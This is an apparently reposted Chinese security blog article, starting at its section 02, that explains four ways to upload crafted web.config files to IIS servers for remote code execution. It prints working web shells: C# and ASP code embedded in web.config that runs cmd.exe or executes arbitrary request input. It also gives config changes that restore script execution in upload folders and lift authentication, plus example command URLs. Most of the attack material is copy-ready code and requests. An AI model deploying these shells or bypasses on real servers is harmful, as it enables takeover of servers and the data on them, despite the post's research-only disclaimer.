技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

admin 2025年6月2日19:48:53技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE已关闭评论31 views字数 2812阅读9分22秒阅读模式
02.作为.NET脚本执行
 
 

当 IIS 服务器 仅支持 .NET 运行环境,且无法上传 .aspx、.asmx、.soap 等扩展名的文件时,攻击者可以尝试上传特制的 web.config,让其作为 .NET 脚本运行。

2.1 核心原理

攻击者可以上传以下 web.config 文件,使其 .config 文件扩展名被当作 .aspx 解析,并执行动态 .NET 代码:

<configuration>
<system.web>
<compilation defaultLanguage="cs">
<buildProviders>
<add extension=".config" type="System.Web.Compilation.PageBuildProvider"/>
</buildProviders>
</compilation>
<httpHandlers>
<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*"/>
</httpHandlers>
</system.web>
</configuration>
<%
if(flag)
{
System.Diagnostics.Process process =newSystem.Diagnostics.Process();
    process.StartInfo.FileName ="cmd.exe";
string str = Request["c"];
    process.StartInfo.Arguments ="/c "+ str;
    process.StartInfo.RedirectStandardOutput =true;
    process.StartInfo.RedirectStandardError =true;
    process.StartInfo.UseShellExecute =false;
    process.Start();
string str2 = process.StandardOutput.ReadToEnd();
    Response.Write("<pre>"+ str2 +"</pre>");
    Response.Flush();
    Response.End();
}
%>

 

攻击者访问以下 URL,可直接执行系统命令:upload/web.config?c=tasklist,如下图所示

技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

 

注意:web.config必须上传到 站点根目录,否则可能无法解析。

03.作为ASP脚本运行
 
 

如果 IIS 支持 ASP 运行环境,但无法上传 .asp 文件,攻击者可以上传 web.config,使其作为 ASP 代码解析。上传以下 web.config,让 .config 文件扩展名被当作 .asp 解析,并执行 ASP 代码:

<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
                 modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll"
                 resourceType="Unspecified" requireAccess="Write" preCondition="bitness64"/>
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config"/>
</fileExtensions>
<hiddenSegments>
<remove segment="web.config"/>
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<%
Response.write("->"&1+2&"<-")
on error resume next
ifexecute(request("dotnet"))<>""thenexecute(request("dotnet"))
%>
-->

 

攻击者访问以下 URL,可执行任意 ASP 代码,页面返回当前服务器的系统时间,证明代码执行成功。

/upload/web.config?dotnet=response.write(now())

 

注意:服务器 必须支持 ASP,否则无法解析 .config 作为 ASP 代码。

技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

04.绕过安全策略限制
 
 

某些情况下,管理员会通过 web.config 禁止 uploads/ 目录执行脚本,但仍允许上传文件。攻击者可以上传新的 web.config 重新启用脚本执行权限。上传以下 web.config,重新开放 uploads/ 目录的脚本执行权限:

<configuration>
<system.webServer>
<handlers accessPolicy="Read, Write">
</handlers>
</system.webServer>
</configuration>

 

攻击者上传 Shell2asmx.soap 后被禁止运行,如下图所示。

技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

 

但此时修改accessPolicy策略,添加写入、执行、运行脚本权限。即accessPolicy="Read,Write,Execute,Script",再向uploads目录下上传新配置的这个web.config,即可打开正常界面,如下图所示

技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

05. 绕过身份认证
 
 

.NET web.config 可用于身份认证,默认会拒绝匿名用户访问。只有已登录用户才能访问该目录,一切的匿名访问都被重定向至登录页,重定向的URL地址如下所示。

技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

 

最新研究成果:攻击者可以上传 web.config 重新开放目录权限,并执行任意代码。上传以下 web.config,绕过身份认证:

<configuration>
<system.web>
<authorization>
<allow users="*"/>
</authorization>
</system.web>
</configuration>

 

然后访问 URL 执行系统命令:

/upload/web.config?dotnet=Response.Write(GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").exec("cmd.exe /c tasklist").StdOut.ReadAll())

 

该请求会利用 Response.Write 输出 cmd.exe /c tasklist 的执行结果,即当前系统的进程列表,如下图所示。

技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月2日19:48:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术精华 | .NET 四种方法上传 web.config 绕过限制实现 RCEhttps://cn-sec.com/archives/4124919.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.